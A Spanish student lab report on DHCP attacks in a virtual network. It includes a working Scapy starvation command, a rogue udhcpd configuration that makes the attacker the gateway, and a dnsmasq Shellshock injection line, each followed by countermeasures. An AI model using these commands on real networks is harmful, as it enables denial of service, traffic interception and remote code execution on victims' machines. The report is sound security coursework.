Alumno: Morgan Lemarechal

Padrn: 97676
morgan.lemarechal@telecom-sudparis.eu

86.40 Laboratorio de Redes de Computadoras

Trabajo prctico n2

DHCP

teora y ataques

SUMARIO

Captulo 1: Introduccin

Especifiaciones tecnicas....................................................................................................3
Maqueta..............................................................................................................................3
DORA..................................................................................................................................4

Captulo 2: Ataque DHCP starvation

Puesta en marcha..............................................................................................................5
Experimentaciones...........................................................................................................6
Contra medidas.................................................................................................................7

Captulo 3: Ataque DHCP rogue servidor

Puesta en marcha..............................................................................................................8
Experimentaciones...........................................................................................................8
Contra medidas................................................................................................................10

Captulo 4: Ataque con Shellshock

Puesta en marcha.............................................................................................................11
Experimentaciones..........................................................................................................11

Contra medidas................................................................................................................13

Conclusin.............................................................................................................................13

Captulo 1: Introduccin

En el trabajo prctico anterior discutimos la teora del protocolo DHCP, y varios ataques que
puede sufrir tericamente el protocolo. El segundo trabajo prctico tiene como objetivo proporcionar
una experiencia prctica de los ataques estudiados previamente. Adems, tratramos de las contras
medidas que impiden estas fallas de ser usadas y probar estas soluciones en el maqueta para probar
su eficacia. Antes de entrar en los aspectos ms tcnicos, el trabajo se articular de la manera siguiente:
Primero, Armaremos un ataque por denegacin de servicio o DHCP starvation, y nos interesaremos en
la manera de poner el servidor fuera de servicio. Despus veremos que contra-medidas se pueden aplicar
para impedir una denegacin de servicio, y pondremos en prctica esta solucin.
Luego, haremos una experimentacin del primer tipo de ataque visto en el trabajo prctico 1 que
es el ataque por servidor rogue. De la misma manera que el ataque precedente, hablaremos de las
contra medidas que permiten de aniquilar cualquier intento.
Despus, intentaremos de poner en prctica la falla Shellshock, y ver si es posible de tirar un shell en
una mquina remota. Por fin, un ltimo escenario ser de realizar una combinacin de ataques para
mostrar las consecuencias que engendran.
En el modelo utilizado en este trabajo prctico, aqu son las especificaciones tcnicas de cada elemento:

Una mquina host que ejecuta Windows 7, y que se utilizar para la red virtualizada.
La virtualizacin se hace posible por el uso de VirtualBox.

La misma red se virtualiza a travs del software GNS que permite de crear arquitecturas de red.
Esto apoya el uso de VirtualBox, y provee la escucha del trfico gracias a Wireshark.

El Servidor DHCP se materializa mediante un router Cisco virtualizado, configurado para DHCP.
El switch utilizado proviene directamente de la implementacin propuesta por GNS3.

2 mquinas virtualizadas pertenecen a la red: un cliente y un atacante. Al principio el cliente
tendr Windows XP como OS, pero despus, yo usar una mquina andando con Ubuntu para

atacar con la falla Shellshock. El atacante tiene un Kali (Debian) equipado para atacar la red.
Cliente
?

Servidor DHCP
192.168.3.1

Red
192.168.3.0

Atacante
192.168.3.2

Captulo 1: Introduccin

Para entrar en el tema, vamos a presentar brevemente una secuencia banal : una asignacin de
direccin IP, en esto caso para el atacante, con el fin de ilustrar la teora del primer trabajo prctico. En
primer lugar, presentemos la configuracin DHCP que el servidor tendr a lo largo de este trabajo:

DHCP(config)#interface fastEthernet 0/0

DHCP(config-if)#no shutdown
DHCP(config-if)#ip address 192.168.3.1 255.255.255.0
DHCP(config-if)#ip dhcp pool tp
DHCP(dhcp-config)#network 192.168.3.0 255.255.255.0
DHCP(dhcp-config)#default-router 192.168.3.1

Las explicaciones de estas lneas de comandos: vamos a conectar la interfaz fastEternet 0/0 del router
(que acta como servidor DHCP) al switch que luego distribuye el resto de la red. No shutdown es para
encenderla, y definimos la direccin IP del router como especificado en el diagrama de la pgina anterior.
Despus, tenemos que configurar los parmetros DHCP del router: creamos un pool llamado tp y
luego especificamos la direccin de nuestra red y su mscara. El pool por defecto incluye 254
direcciones , de 192.168.3.1 a 192.168.3.254, sabiendo que la primera direccin se reserva para nuestro
servidor DHCP. Ahora, solo nos falta definir en la ltima lnea de nuestra secuencia de comando, el
default gateway. Nuestro servidor DHCP est configurado y listo para responder a los paquetes de
tipo DHCP Discover que recibe.
Cuando una mquina de la red se inicia, se puede observar va Wireshark estos paquetes circulando por
la red:

Recuperamos a travs de esta captura Wireshark, la secuencia llamada DORA: Discovery, Offer, Request,
Acknowledgment que describimos en el trabajo prctico anterior. Podemos despus verificar que la
maquina atacante tiene una configuracin IP, a travs de un ipconfig (Windows) o ifconfig (Unix):

kali# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:e6:a2:1c
inet adr:192.168.3.2 Bcast:192.168.3.255 /
Masque:255.255.255.0
adr inet6: fe80::a00:27ff:fee6:a21c/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:409 errors:0 dropped:0 overruns:0 frame:0
TX packets:132 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 lg file transmission:1000

RX bytes:41480 (40.5 KiB) TX bytes:12642 (12.3 KiB)

Captulo 2: Ataque DHCP starvation

Como explicamos en el trabajo prctico anterior, el propsito del ataque DHCP
Starvation es enviar mltiples consultas DHCP Discover con el fin de saturar el pool de direcciones del
servidor DHCP. Luego, si el atacante sigue inundando de consultas el servidor, ese no puede ms
asignar direcciones a los clientes legtimos, porque tanto que no recibe las respuestas DHCP request
del atacante, considera la direccin tal como est utilizada (porque normalmente es potencialmente
asignada). Desde la consola del servidor se puede consultar el pool, para obtener varias informaciones:

DHCP#show ip dhcp pool tp

Utilization mark (high/low) : 100 / 0
Subnet size (first/next) : 0 / 0
Total addresses : 254
Leased addresses : 1
Pending event : none
1 subnet is currently in the pool :
Current index IP address range Leased addresses
192.168.3.3
192.168.3.1 -192.168.3.254
1

Nos enteramos de que el cliente est bien conectado ya el comando nos devuelve leased
addresses: 1. Ahora, nuestra mquina atacante va a intentar de agarrar todo el pool de direcciones. Por
eso, usamos Scapy que es una potente aplicacin para la manipulacin y la forja de paquetes:

kali#Scapy

>>> conf.checkIPaddr = False
>>> dhcp_discover = *

>>> sendp(dhcp_discover,loop=1)

*Comando completo:
dhcp_discover=Ether(src=RandMAC(),dst=ff:ff:ff:ff:ff:ff)/IP(src=0.0.0.0,d
st=255.255.255.255)/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,0123456789abcd
ef))DHCP(options=[(message-type,discover),end])

nos permite decir a Scapy de no hacer la verificacin de la direccin IP en el

paquete que vamos a construir.
conf.checkIpAddr = False

Si hacemos la descomposicin capa a capa del paquete forjado:

Capa enlace de datos: Ether(src=RandMAC(),dst=ff:ff:ff:ff:ff:ff)
RandMac genera direcciones MAC aleatorias. Como el protocolo establece una correspondencia entre
IP y MAC para distribuir su pool, debemos falsificar nuestras direcciones MAC para dar la impresin al
servidor que est recibiendo paquetes de diferentes clientes.

Capa de red: IP(src=0.0.0.0,dst=255.255.255.255)/BOOTP(chaddr=RandString(12,01234

56789abcdef))

No tenemos direccin y enviamos el paquete en broadcast, entonces tenemos esos parmetros IP.
Despus, ya que es un paquete DHCP, hay que aadir la capa para BOOTP. chaddr o client hardware
address es la direccin MAC y tiene que ser gnerada por azar.

Captulo 2: Ataque DHCP starvation

Capa de transporte: UDP(sport=68,dport=67)
Podemos recordar ah que DHCP usa UDP para establecer un cambio sin conexin. El source port
corresponde puerto del cliente y el destination port al puerto del servidor DHCP. En BOOTP esos
puertos son el 68 y el 67.

Capa de aplicacin: DHCP(options=[(message-type,discover),end])
Para terminar, hay que elegir entre los diferentes tipos de consultas, en nuestro caso la consulta DHCP
Discover.
El comando para pedir a Scapy de enviar el paquete es sendp, y aadimos un bucle para enviarlo en
varios: sendp(dhcp_discover,loop=1). Rpidamente, no va a quedar nada en el pool del servidor, de
modo que, en la configuracin, se puede observar el current index que indica que no hay direcciones
disponibles ms.

DHCP#show ip dhcp pool tp

Utilization mark (high/low) : 100 / 0
Subnet size (first/next) : 0 / 0
Total addresses : 254
Leased addresses : 253
Pending event : none
1 subnet is currently in the pool :
Current index IP address range Leased addresses

0.0.0.0 192.168.3.1 - 192.168.3.254 253

El pool no puede proveer direcciones ms, conseguimos nuestro ataque !

Este tipo de ataque se parece con el ataque SYN flood que tambin es un ataque de denegacin de
servicios, apuntando a paralizar servidores con el protocolo TCP. Con Wireshark tambin podemos ver
que la red est inundada de consultas DHCP Discover enviadas por el atacante:

La ltima forma de verificar que el servidor DHCP est paralizado de hecho es enviar manualmente una
consulta de direccin desde el terminal de la mquina pirata:

kali#dhclient -v eth0
...
No DHCPOFFERS received.
No working leases in persistent database - sleeping

Captulo 2: Ataque DHCP starvation

Pero, cules son las contra medidas posibles?

Controlar los movimientos du pool:
En caso de un aumento brusco del nmero de direcciones ocupadas, una alerta podra ser
activada para notificar al administrador de la red de un posible ataque. La fluctuacin del nmero de
direcciones libres o asignadas es una primera solucin, que ya existe en la forma de plugins (pero no
muchos usados, porque eso es muy emprico)

Escuchar el el trfico de la red:
Una segunda solucin es escuchar al trfico de la red a travs de un IDS (Sistema de Deteccion de
Intrusos) para detectar envos anormales en grandes cantidades de paquetes DHCP Discover por la red.
Luego, el IDS toma decisiones para bloquear este trfico inoportuno automticamente, lo que a veces
puede provocar problemas en el caso de que se trate un falso positivo: las acciones del IDS pueden
causar consecuencias iguales a las de un ataque.

Segurizar los puertos de los switch:
El ataque por agotamiento del pool funciona a travs de la falsificacin de la MAC que es diferente en cada
paquete. Hay tecnologas (por ejemplo, Port-Security para el hardware de Cisco), que fijan un nmero de
direcciones MAC autorizadas para cada puerto del switch. Si se supera este nmero, se enva una alerta
y un bloqueo de puertos automtico es posible. Esta solucin es muy eficiente y fcil de implementar.

Usar el DHCP snooping:

DHCP snooping es una serie de tcnicas que se aplican a la capa enlace de datos (en ese caso a
nuestro switch). Sobre el tema de la defensa contra el DHCP starvation, se proporcionan varias contra
medidas. El nmero de solicitudes DHCP que un cliente puede enviar es limitado y si se excede (ratio
al segundo), el puerto se bloquea. El snooping tambin ofrece una whitelist que en realidad es una
lista de usuarios autorizados quienes pueden acceder a la red (al nivel de los puertos del switch). Slo
determinadas direcciones IP con direcciones MAC especficas sobre puertos especficos pueden acceder
a la red IP. La whitelist se construye dinmicamente por el servidor DHCP mediante el anlisis de su
propio trfico.
Vamos a utilizar el snooping en nuestro switch para bloquear el ataque, eso es el comando que lo activa:

switch(config)# ip dhcp snooping

switch(config)# do show ip dhcp snooping | include Switch
Switch DHCP snooping is enabled

El primer comando nos permite activar el DHCP snooping en nuestro servidor y el segundo comando
nos permite verificar que se ha inicializado correctamente.
Desafortunadamente, entre todas las soluciones propuestas ninguna se puede implementar en GNS3
(excepto la primera, pero que es muy emprica) y por lo tanto es imposible probar por la experiencia
la eficacia de estas soluciones. La nica manera de demostrar esto sera el uso un modelo real en un
laboratorio en lugar de virtualizar de la red.
7

Captulo 3: Ataque DHCP rogue servidor

Recordemos un poco el principio del ataque por rogue servidor: el atacante desarrolla un ataque
de tipo hombre en el medio, para obtener acceso al trfico de la red. Este ataque funciona muy bien
combinndolo con un ataque de tipo DHCP starvation: mientras que el servidor DHCP no es capaz
de proporcionar ms direcciones, el servidor malicioso del atacante puede tomar su lugar y su papel
dentro de la red. Vamos a mantener el mismo modelo, pero esta vez la mquina atacante va a intentar
aprovechar esta segunda falla.
Cliente
?

Servidor DHCP
192.168.3.1

Red
192.168.3.0

Atacante
192.168.3.2

Para armar nuestro ataque, vamos primero a lanzar un primer ataque DHCP starvation. El atacante antes
de empezar el ataque, pide una direccin (192.168.3.2). Del lado servidor, el pool est agotado:





DHCP#show ip dhcp pool tp


Utilization mark (high/low) : 100 / 0


Subnet size (first/next) : 0 / 0


Total addresses : 254


Leased addresses : 253


Pending event : none


1 subnet is currently in the pool :

Current index IP address range Leased addresses

0.0.0.0 192.168.3.1 - 192.168.3.254 253
El campo current index nos muestra que el servidor no recorre ms el pool. Udhcpd es un servicio que
permite de ejecutar un servidor DHCP muy sencillo por su mquina. Eso es el archivo de configuracin
que vamos a usar:
# /etc/udhcp.conf ---------------------------------------------------------------------------------------interface eth0



#interfaz usada por el atacante
start 192.168.3.3


#el mismo pool que le verdadero servidor
end 192.168.3.254


#pero sin la direccin del atacante
option subnet 255.255.255.0

#mscara
opt router 192.168.3.2


#gateway = atacante !!
option domain local
option lease 100000

#------------------------------------------------------------------------------------------------------------8

Captulo 3: Ataque DHCP rogue servidor

Entonces nos queda inicializar nuestro pirata servidor DHCP con la configuracin precedente:

kali#/etc/init.d/udhcpd start
Starting very small DHCP server: udhcpd (v0.9) started

Nuestro servidor DHCP pirata est listo para engaar al cliente !

Cuando el cliente intenta encontrar a un servidor que puede proveerle una direccin, el slo disponible
ser el del atacante. Entonces lo que pasa es que desde la mquina cliente podemos ver:

C:\>ipconfig

Ethernet adapter Local Area Connection:



Connection-specific DNS Suffix.:



IP Address...........................: 192.168.3.69



Subnet Mask..........................: 255.255.255.0
Default Gateway......................: 192.168.3.2

El ataque tiene xito porque la gateway que tiene el cliente es en realidad la direccin IP del atacante.
Luego, el atacante puede aprovecharse de una manera muy sencilla (no entramos en los detalles) de su
nuevo activo, mediante la combinacin de tres comandos muy potentes:

Nmap: Nmap (Network Mapper) es una herramienta de explotacin de red y auditora de
seguridad. Esta muy potente herramienta, permitir al atacante encontrar blancos para atacar

en la red, el nico requisito limitando es que el blanco debe ser una vctima del servidor

pirata. Una vez encontrado el blanco perfecto, el atacante puede empezar a escucharle.

Iptables: Iptables es un firewall, instalado por defecto en las distribuciones de Linux que
podra ayudar el atacante a redirigir el trfico : por ejemplo puerto 8080 (https) y 80 (http) para
escuchar los paquetes de una navegacin por Internet (Autenticacin a un buzn de correo, un
banco etc...).

Sslstrip: Sslstrip es un proxy SSL, diseado para hacer que las sesiones HTTP no cifrada se

ven tanto como sea posible con HTTPS sesiones. En nuestro caso, la herramienta permite de

descifrar la consulta para obtener por ejemplo los datos de un HTTPS POST (credenciales por
ejemplo).
Por lo que vemos que en la prctica, las consecuencias de esta combinacin de ataques pueden ser
desastrosas, ya que el cliente no tiene ninguna idea de lo que se pasa en la red. Las tres herramientas, si
se combinan, pueden permitir, por ejemplo, robar credenciales o datos bancarios. En nuestro caso no
podemos ir ms lejos, por la sencilla razn de que la red virtual no est conectada a Internet.

Captulo 3: Ataque DHCP rogue servidor

Pero, cules son las contra medidas posibles?

Escuchar el el trfico de la red:
De la misma manera que el ataque por agotamiento de direcciones, es posible usar un IDS (Sistema de
Deteccion de Intrusos) para luchar contra los servidores rogue. Esta vez son los mensajes de DHCP Ack y
DHCP Offer que deben ser controlados. De hecho, si estas consultas no se emiten con un servidor vlido
(es decir, que tiene una combinacin de IP / MAC considerada como vlida), deben ser bloqueadas. Una
vez ms, cuidado a las consecuencias de un IDS mal ajustado.

Usar flujos cifrados:
Trivialmente, suponiendo que el atacante logra interceptar el trfico, si est cifrado, el atacante no puede
leerlo. Sin embargo, es cierto que el trfico se encuentra ms complicado y pesado. Encriptaciones como
el Cipher Block Chaining Message Authentication Code Protocol (AES-CCMP) puede ser usadas.

Usar el DHCP snooping:
DHCP snooping se usa tambin (ver el precedente captulo) para impedir los servidores rogue. En efecto,
esto permite a los flujos DHCP de pasar solamente acuerdo a los puertos especificados o permitir a slo
ciertos IP/direcciones MAC de enviar o recibir los flujos de DHCP.
Desafortunadamente, igualmente que en el captulo anterior, no es posible virtualizar estas soluciones
usando GNS3 para mostrar la eficacia de estas ltimas...

10

Captulo 4: Ataque con Shellshock

El ltimo ataque que presentamos utiliza la famosa falla Shellshock. Recordatorio: Una falla
afectando el Bash, que es nativo en las distribuciones Linux y OS X, fue hecha pblica el 24 de septiembre
2014. Fue descubierto que era posible de ejecutar cdigo arbitrario en el Shell de una mquina remota.
En particular esta falla tiene repercusiones en el protocolo DHCP porque algunos datos enviados en las
configuraciones son vulnerables a Shellshock.
Estamos siempre en la misma red, tratamos de hacer ejecutar cdigo arbitrario al cliente usando un
servidor rogue que enviar configuraciones maliciosas. El verdadero servidor DHCP estar fuera de
servicio gracias a un ataque por denegacin de servicio o DHCP starvation. Obviamente la mquina
cliente no debe andar sobre Windows XP ya que Bash no es nativamente presente. Vamos a elegir una
mquina virtual Ubuntu 12.10 (entonces vulnerable a Shellshock) como cliente.
Nuestro objetivo va a ser de ejecutar un simple echo por el terminal del cliente para mostrar su
vulnerabilidad. Usamos la misma tcnica para paralizar el servidor, pero usamos otro servidor DHCP:
Dnsmasq. Se nos permitir cambiar los campos que son vulnerables a Shellshock. Vamos a utilizar el
campo n 100 denominado Pcode para inyectar nuestro comando malicioso. Aadimos algunas lneas
que permiten explotar la falla a la configuracin de Dnsmasq :
# /etc/dnsmasq.conf

-----------------------------------------------------------------------------------------

#para precisar la interfaz usada por el atacante

interface=eth0
#el pool, el lease
dhcp-range=192.168.3.3,192.168.3.5,255.255.255.0,12h
#la opcin vulnerable.
#usamos dhcp-option-force para siempre enviar la opcin, incluso si el cliente no la
#pide en la lista de parmetros de consulta. Ponemos la famosa lnea de cdigo Shellshock
dhcp-option-force=100,() { :; }; echo Youve been shellshocked!!!
#resto de la configuracin por defecto que nos cambiamos
#...

#----------------------------------------------------------------------------------------------------------------Luego, podemos iniciar el servidor:

kali#/etc/init.d/dnsmasq start
[OK] Starting DNS forwarder and DHCP server dnsmasq

Ahora, el cliente (Ubuntu) buscando una direccin recibe la configuracin maliciosa del atacante.
Podemos tirar manualmente una renovacin de la direccin a travs de dhclient -v, para ver los efectos
del ataque: (pgina siguiente)

11

Captulo 4: Ataque con Shellshock

Ubuntu(12.10)#dhclient eth0 -v
...
Listening on LPF/eth0/08:00:27:5a:8c:d2
Sending on LPF/eth0/08:00:27:5a:8c:d2
Sending on Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 /
interval 7
DHCPREQUEST 192.168.3.3 of on eth0 to 255.255.255.255 /
port 67
DHCPOFFER of 192.168.3.3 from 192.168.3.2
DHCPNAK from 192.168.3.1
DHCPACK of 192.168.3.3 from 192.168.3.2
Youve been shellshocked!!!
bound to 192.168.3.3 -- renewal in 32528 seconds.

Nuestro cdigo se ejecuta, logramos nuestro ataque !

Despus, es posible ejecutar cdigos mucho ms peligrosos para la mquina, como una lnea que
enva el contenido de /etc/shadow (hashes de las contraseas) por correo electrnico al atacante. Existen
muchas posibilidades. Cuando se descubri la falla, miles de hackers lanzaron ataques simultneos
en todos los servidores web en el mundo. Se inyectaron un cdigo enviando un correo electrnico en
diferentes headers de consultas HTTP. Si se ejecuta el cdigo, lo que significaba que el servidor era
vulnerable, los hackers reciban un correo electrnico para informarles.

Pero, cules son las contra medidas posibles?

Actualizar su sistema operativo: La ms obvia en el momento, y sobre todo la solucin la ms

eficaz es al lado cliente. Actualizaciones se liberaron para contraatacar la falla Shellshock y
sus fallas derivadas que aparecieron. La actualizacin es potente, y bloquea completamente
esta vulnerabilidad. Sin embargo, es cierto que la actualizacin de todo el parque de
mquinas global es un largo proceso, que a menudo los usuarios no hacen por falta de voluntad o
de conocimiento. Eso es la lnea de comando a escribir para actualizar su bash y protegerse:

apt-get update && apt-get install --only-upgrade bash

Espera una actualizacin hipottico del protocolo: Por ahora, el protocolo no se ha

actualizado, pero la falla Shellshock mostr que algunos de los parmetros enviados por los
servidores, simplemente no se verifican ni se filtran. El mismo ataque que hicimos usando por
ejemplo, el parmetro de nombre de host, no va a andar debido a que el cliente se filtrar
automticamente este parmetro, rechazndole. Entonces, el ISC tiene que desarollar lo mismo
por los otros parmetros que son vulnerables. Eso es el mensaje que se puede ver por la consola
cliente en el caso de que el parmetro es filtrado:

dhclient: suspect value in domain_search option - discarded

12

Captulo 4: Ataque con Shellshock

Para verificar la eficacia de estas actualizaciones, ahora usamos un Ubuntu retirado muy
recientemente y que incorpora estas actualizaciones: Ubuntu 14.10.
Al igual que antes, tiramos desde la consola del cliente, una consulta de direccin/ renovacin de la
direccin al servidor DHCP gracias dhclient -v, y vemos el resultado:

Ubuntu(14.10)#dhclient eth0 -v
...
Listening on LPF/eth0/08:00:27:5a:8c:d2
Sending on LPF/eth0/08:00:27:5a:8c:d2
Sending on Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 /
interval 7
DHCPREQUEST 192.168.3.3 of on eth0 to 255.255.255.255 /
port 67
DHCPOFFER of 192.168.3.3 from 192.168.3.2
DHCPNAK from 192.168.3.1
DHCPACK of 192.168.3.3 from 192.168.3.2
bound to 192.168.3.3 -- renewal in 32528 seconds.

Nuestro cdigo no se ejecuta, el ataque va Shellshock es bloqueado !

Conclusin

Para concluir, hemos visto a travs de esto trabajo prctico, que si no se toman medidas
eficaces desde el lado infraestructura (switch/router) o cliente (actualizaciones), ataques muy crticos
se pueden armar contra los usuarios de la red. Estos pueden variar desde una simple observacin de las
actividades del cliente hasta el robo de sus solicitudes HTTPS (contrasea de Gmail, Facebook, etc ...) y de los
credenciales de las cuentas usuarios de la mquina.
Este trabajo prctico, aunque muy interesante, sin embargo, no permiti que comprobemos por
nosotros mismos la eficacia de las contra medidas, ya que nuestro entorno de virtualizacin no nos
permite configurar las opciones snooping y port-security. Esto es debido al hecho de que la versin
bsica de GNS3 no maneja completamente la virtualizacin de los switchs. A nivel personal, fue muy
gratificante de llevar a cabo ataques que yo saba posibles, desde un punto de vista terico, pero que yo
nunca haba probado de un punto de vista prctico. A pesar de muchos problemas y horas pasadas para
resolverlos, esta trabajo prctico fue una buena experiencia.

13

DHCP

teora y ataques
Morgan Lemarechal
morgan.lemarechal@telecom-sudparis.eu
2014-2015